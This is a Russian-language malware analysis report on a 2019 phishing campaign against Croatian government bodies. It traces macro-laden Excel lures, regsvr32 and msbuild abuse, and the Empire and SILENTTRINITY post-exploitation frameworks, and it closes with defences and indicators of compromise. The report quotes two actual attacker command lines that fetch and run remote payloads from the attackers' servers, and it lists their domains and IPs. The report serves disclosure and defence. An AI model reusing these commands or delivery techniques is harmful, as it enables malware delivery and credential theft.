IronPython на стороне зла: как мы раскрыли кибератаку на госслужбы европейской страны

IronPython на стороне зла: как мы раскрыли кибератаку на госслужбы европейской страны


Наши специалисты из экспертного центра безопасности всегда держат руку на пульсе и следят за появлением новых интересных и опасных угроз. Именно так в начале апреля 2019 года была обнаружена целевая атака на государственные органы Хорватии. В данном отчете рассмотрена цепочка доставки вредоносного ПО на компьютер жертвы, представлены индикаторы компрометации, а также отмечено использование нового постэксплуатационного фреймворка, который, по нашим данным, ни разу ранее не применялся злоумышленниками.

Заражение жертвы


2 апреля 2019 года во время планового мониторинга различных ресурсов на предмет нового вредоносного ПО эксперты PT Expert Security Center обнаружили необычный офисный документ.



Рисунок 1. Вредоносный документ

Уведомление об отправке было создано в офисном приложении MS Excel и сохранено в старом формате XLS днем ранее (2019-04-01 16:28:07 (UTC)). Тем не менее имеющаяся временная метка о печати (2018-07-25 00:12:30 (UTC)) свидетельствует, что документ использовался еще в 2018 году. Мы вернемся к этому косвенному признаку ниже.

Примечательным является то, что поле «Комментарии» (которое можно изменить в том числе и средствами приложения MS Excel) содержит команду на языке командного интерпретатора Windows:

cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing  > C:users%username%appdatalocalmicrosoftsilent.vbs



Рисунок 2. Поле «Комментарии» с подозрительным содержанием



Рисунок 3. Содержимое поля «Комментарии» в бинарном виде

В результате выполнения этой команды в системе создается сценарий на языке Visual Basic, который при запуске выполнит следующие действия:

  • подключит сетевой ресурс средствами технологии WebDAV,
  • загрузит и запустит файл следующей стадии заражения с использованием легитимной системной утилиты regsvr32.

При подключении сетевого ресурса по протоколу HTTP(S) на сервер злоумышленника отправляется NTLM-запрос, с помощью которого может быть восстановлен NTLM-хеш. Затем полученный хеш может быть использован для авторизации на сервисах от имени жертвы. Мы не нашли следов проведения подобных атак, а причины подключения сетевого ресурса остаются неясны.

Техника использования программы regsvr32 (управление элементами ActiveX) во вредоносных целях не нова и даже имеет название — Squiblydoo. Атакующие применяют ее для соблюдения требований контроля запуска доверенных программ, а также для обхода антивирусного детектирования.

Сам по себе текст в поле «Комментарии» безобиден, а его выполнение должно быть чем-то обусловлено. Когда жертва откроет полученный документ Excel, появится сообщение-ловушка на хорватском языке, которое убеждает включить макросы:



Рисунок 4. Сообщение-ловушка после открытия документа

Если выполнение макросов будет разрешено, пользователь увидит фальшивое уведомление о посылке с логотипом хорватской почты:



Рисунок 5. Ложное уведомление о посылке

Тем временем средствами макроса сценарий поля «Комментарии» будет выполнен, а созданный в системе скрипт будет добавлен в автозагрузку:



Рисунок 6. Ключевая логика макроса

Любопытно, что создаваемый сценарий не запускается макросом. Возможно, это задумка злоумышленника: следующая стадия заражения произойдет после перезагрузки системы и входа пользователя. Мы вернемся к этой детали ниже.

Часть сценария по-своему интересна: аккуратная структура кода с форматированием, отступами и прочими нюансами разметки может быть признаком использования стороннего кода и даже программы, которая позволяет создавать подобные документы автоматически.



Рисунок 7. Предположительно заимствованная часть макроса

Поиск ключевых слов дает множество аналогичных частей кода на разных ресурсах. Мы склоняемся к версии, что хакер просто нашел подходящий программный код и немного подправил его для выполнения нужных ему действий:



Рисунок 8. Пример похожего макроса на issuu.com



Рисунок 9. Пример похожего макроса на stackoverflow.com



Рисунок 10. Пример похожего макроса на dummies.com

Вернемся к следующей стадии заражения средствами утилиты regsvr32. При выполнении команды с сервера злоумышленника будет загружен скриптлет update.sct на языке JavaScript. В теле скрипта содержатся бинарные данные, закодированные алгоритмом Base64. После декодирования полученные данные будут десериализованы и выполнены средствами программной платформы .NET Framework.



Рисунок 11. Скриптлет update.sct, загруженный с сервера злоумышленника

Стоит отметить, что и этот код был заимствован атакующим на одном из общедоступных ресурсов:



Рисунок 12. Пример похожего кода на rastamouse.me



Рисунок 13. Пример похожего кода на github.com

Непохоже, что хакер тщательно вникал в логику работы используемых инструментов. Например, в рассмотренном скриптлете вызывается функция setversion, которая ничего не делает. Один из примеров, доступных в Сети, выглядит также.

Распакованный и запущенный объект представляет собой исполняемый PE-файл на платформе .NET.



Рисунок 14. Заголовок исполняемого PE-файла



Рисунок 15. Отладочная информация PE-файла SharpPick

В результате компиляции сохранился путь до проекта с исходным кодом. Суффикс -master говорит о том, что проект был предварительно склонирован с репозитория, а каталог SharpPick ведет к известному приложению, которое позволяет загружать и выполнять код на языке PowerShell без применения непосредственно интерпретатора языка, а с использованием зависимостей .NET.
Несмотря на доступность проекта утилиты SharpPick на GitHub, следует убедиться, что не были внесены существенные изменения.



Рисунок 16. Часть декомпилированного кода утилиты SharpPick

В результате декомпиляции был получен псевдокод, при выполнении которого декодируется из Base64 и запускается PowerShell-скрипт:



Рисунок 17. Частично преобразованный PowerShell-скрипт

После упрощения кода разобрать его логику не составляет особого труда:

  • формируется объект для взаимодействия с веб-сервером с заданными значениями User-Agent, Cookie и настройками прокси;
  • загружается полезная нагрузка по заданному адресу;
  • результат расшифровывается алгоритмом RC4 с использованием заданного ключа и запускается.

К сожалению, во время нашего исследования управляющий сервер уже был недоступен. Данные, которые с него были получены ранее, нам найти не удалось. Однако и на этот раз имеется достаточно информации в Сети (пример: отчет наших коллег из FireEye ), чтобы однозначно установить: конечное звено в данной цепочке заражения — Empire backdoor, инструмент для удаленного администрирования компьютера жертвы в составе постэксплуатационного фреймворка Empire Framework.



Рисунок 18. Использование аналогичного PowerShell-скрипта в атаках на уязвимость в WinRAR

Интересно, что другие паттерны скрипта ведут на обширную статью о техниках проведения тестирования на проникновения с особым вниманием к сокрытию инфраструктуры атакующих за проксирующими серверами. Наиболее вероятный источник информации, который использовался злоумышленником, — статья коллег из Payatu Technologies, где они приводят подробную инструкцию по перенаправлению сессий на легитимные ресурсы, блокировке нежелательных пакетов, логированию и так далее, в том числе с использованием Empire.

Спустя несколько часов мы обнаружили еще один документ о посылке. Он имеет множество сходств с предыдущим: также найден в Хорватии (2019-04-02 16:52:56 (UTC)), имеет такое же название и даже изображение-ловушку о полученной посылке. Но все же есть различия.

Вредоносный код снова расположен в поле «Комментарии», но на этот раз логика действий изменена.

cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:windowssystem32cmd.exe /c net use 176.105.255.59webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%Microsoft.NetFrameworkv4.0.30319msbuild.exe 176.105.255.59webdavmsbuild.xml" , 0, False: Set objShell = Nothing  > C:users%username%appdatalocalmicrosoftsilent.vbs

  • Подключение сетевого ресурса происходит средствами протокола SMB.
  • Загрузка и запуск следующей стадии заражения с применением msbuild — легитимной утилиты пакета .NET Framework.

Любопытно, что в адресе монтируемого каталога присутствует строка webdav, косвенно связывающая этот случай с предыдущим. В этот раз атака на NTLM-хеш по-прежнему возможна, хотя подтверждений о ее применении нет. Снова для успешного обхода ограничения запуска сторонних программ используется легитимное приложения (на этот раз msbuild). Прежде чем опишем технику злоупотребления, упомянем об отличиях в программном коде макроса нового документа.

Атакующие не вносили существенных изменений в логику VBA-сценария. Но стоит отметить, что на этот раз они не только обеспечивают автоматическую загрузку создаваемого VBS-скрипта в системе, но и запускают его в момент открытия документа. Вероятнее всего, в предыдущем случае злоумышленники просто забыли про это, а спустя некоторое время, обнаружив оплошность, поправили ее в новой версии документа.



Рисунок 19. Сравнение кода макроса в двух документах

Следующая стадия заражения представляет собой XML-документ, в котором содержится программный код на языке C#. Особенность утилиты msbuild позволяет скомпилировать и запустить содержащийся код на лету, о чем свидетельствуют оставленные хакером комментарии в начале разметки.

В коде снова представлен Base64-буфер, который будет раскодирован, разжат алгоритмом Deflate и запущен. Полагаем, читатель уже догадывается о том, что и на этот раз злоумышленник воспользовался свободно доступным шаблоном, о чем свидетельствуют упомянутые комментарии и множество источников в Сети с аналогичным кодом.



Рисунок 20. Задача msbuild.xml, загруженная с сервера злоумышленника

В итоге и на этот раз в память будет загружен и выполнен PE-файл на платформе .NET. А отладочная информация содержит не только признак того, что проект был собран на виртуальной машине (возможно, в целях сокрытия информации об атакующем), но и каталог SILENTTRINITY, на котором мы остановимся подробнее.



Рисунок 21. Отладочная информация PE-файла SILENTTRINITY

После изучения этих двух документов о посылке мы нашли еще два. И формат файла, и название, и картинка-ловушка с указанным регионом остались неизменными. Документы были доступны в конце августа 2018 года, что подтверждает гипотезу о долгосрочности кампании, о чем мы писали в начале отчета.

Любопытно, что в прошлом году хакеры не использовали поле «Комментарии», однако пустили в ход легитимные утилиты. Вредоносный компонент загружался с помощью утилиты для работы с сертификатами и выполнения криптографических операций certutil, а запуск обеспечивался инструментарием управления системой WMI:



Рисунок 22. Сравнение макросов документов 2018 года

К сожалению, за давностью произошедшего нам не удалось установить последующие звенья цепочки атак 2018 года.

Стоит также отметить, что часть кода VBA-скрипта оставалась неизменной, за исключением удаленных вспомогательных комментариев, поясняющих логику работы.



Рисунок 23. Сравнение макросов 2019 и 2018 годов

Фреймворк SilentTrinity


Поисковая выдача на ключевое слово SILENTTRINITY из отладочной информации PE-файла без труда позволяет установить происхождение этого звена атаки. В октябре 2018 года Марчелло Сальвати (исследователь компании Black Hills Information Security) разместил проект под названием SILENTTRINITY на популярном репозитории GitHub. Основная идея: использовать гибкость и преимущества известного постэксплуатационного PowerShell-фреймворка в скриптовом языке программирования Python, а именно — IronPython. Проект развивается по сей день.

Мы не будем углубляться в детали работы и реализации проекта (тем более что автор подробно рассказал о нем в своем докладе ). Осветим лишь базовую логику работы и интересные моменты в реализации.

После запуска PE-файла (впрочем, промежуточное звено может быть в другом формате) происходит следующее:

  • обращение к управляющему серверу для загрузки ZIP-архива с необходимыми зависимостями и главным скриптом на Python;
  • содержимое архива извлекается без сохранения на диск;
  • регистрируются зависимости для успешной обработки Python-скриптов;
  • запускается основной Python-скрипт, ожидающий задачи от злоумышленника;
  • каждая задача передается в виде готового Python-скрипта;
  • задача выполняется на стороне жертвы в отдельном потоке;
  • результат работы передается обратно на управляющий сервер.



Рисунок 24. Схема работы фреймворка SilentTrinity

Из особенностей стоит выделить следующее:

  • Поддержка IronPython, в том числе языка Boo (подмножество IronPython со строгой типизацией данных).
  • Вся активность не требует дискового пространства: зависимости, скрипты, задачи располагаются в памяти (fileless-атака).
  • Архив с зависимостями, задачи, результат работы команд — все общение между жертвой и хакером шифруется алгоритмом AES.
  • Общий ключ формируется протоколом Диффи — Хеллмана.
  • Сетевой транспорт обеспечивается на уровне протокола HTTP(S) с поддержкой проксирования.



Рисунок 25. Пример пользовательского интерфейса серверной части фреймворка SilentTrinity

Интересно, что в день проведения атак PE-загрузчик был загружен на сервис VirusTotal, где ни один антивирусный вендор не определял его как вредоносный. В этом нет ничего удивительного: во-первых, бинарный файл не попадает на диск, и сигнатурный детект большого смысла не имеет; во-вторых, статическое детектирование далеко не единственная технология защиты пользователей.



Рисунок 26. Результат сканирования загрузчика SilentTrinity в день атак

Кроме того, спустя несколько дней после атаки вердикты детектирования все же начали появляться. Важно, что в период атак либо защитные средства еще не были оснащены алгоритмами определения, либо об угрозе не было известно в принципе.



Рисунок 27. Актуальный результат сканирования загрузчика SilentTrinity

Вероятнее всего, это и послужило причиной выбора этого решения для проведения атак. У нас нет сведений, что фреймворк SilentTrinity уже применялся во вредоносных атаках ранее.

Инфраструктура, используемая атакующими

Стоит упомянуть, что сетевая инфраструктура, используемая хакерами, хронологически связана с проводимыми атаками.



Таблица 1. Информация об используемых доменах в качестве серверов атакующих


Домены создавались таким образом, чтобы быть похожими на легитимные атакуемые ресурсы. Это позволяет получить доверие пользователей при проведении фишинговых атак. Отметим, что затрагиваемые ресурсы относятся не только к Хорватии.

Все домены зарегистрированы с применением технологии защиты компании WhoisGuard. Она позволяет скрыть настоящие сведения о регистранте домена в целях защиты от спама, в то время как злоумышленники используют эту технологию в целях анонимизации.

Серверы, раздающие и управляющие вредоносным ПО, были арендованы у нидерландского провайдера Breezle.

Все имеющиеся сведения об узлах, адресах, доменах злоумышленников со множеством связей между собой позволяют судить о бо?льших объемах вредоносного ПО, которое было у атакующих в этот раз. Мы не исключаем, что в кампании могли быть использованы аналогичные рассмотренным инструменты и некоторые случаи заражения остались нераскрытыми.



Рисунок 28. Графическое представление инфраструктуры злоумышленников

Заключение


Через день после обнаружения документов в новостях вышел пресс-релиз со ссылкой на Департамент безопасности информационных систем Хорватии о проводимых целевых фишинговых атаках. Следы были обнаружены в нескольких государственных органах страны. Сообщается, что жертвам рассылались электронные письма с ссылкой на фишинговый сайт, с которого предлагается загрузить вредоносный документ, с которых начинался наш анализ. Это заполняет недостающие звенья в цепочке атак, а в завершении мы бы хотели обратить внимание на методы защиты, которые позволяют снизить урон от таких атак:

  • Мониторинг и контроль использования некоторых доверенных программ (certutil, regsvr32, msbuild, net, wmic …)
  • Проверка и анализ не только вложений в электронных письмах, но и web-ссылок
  • Периодические сканирования памяти ПК в корпоративной сети

Успешные соединения с C2 Silent Trinity (даже под TLS) можно обнаружить с помощью PT Network Attack Discovery, кроме того в нашем репозитории мы опубликовали детекты для коммьюнити.

Автор: Алексей Вишняков, Positive Technologies

P.S. На эту тему автор также читал доклад на конференции Positive Hack Days 9. Видео этого и других выступлений доступны по ссылке: www.phdays.com/ru/broadcast/ .

Индикаторы компрометации:
0adb7204ce6bde667c5abd31e4dea164
13db33c83ee680e0a3b454228462e73f
78184cd55d192cdf6272527c62d2ff89
79e72899af1e50c18189340e4a1e46e0
831b08d0c650c8ae9ab8b4a10a199192
92530d1b546ddf2f0966bbe10771521f
c84b7c871bfcd346b3246364140cd60f
hxxps://postahr.vip/page/1/update.sct
hxxps://posteitaliane.live/owa/mail/archive.srf
hxxps://konzum.win/bat3.txt
hxxp://198.46.182.158/bat3.txt
hxxps://176.105.255.59:8089
[]176.105.255.59webdavmsbuild.xml
postahr.online
176.105.254.52
93.170.105.32
Alt text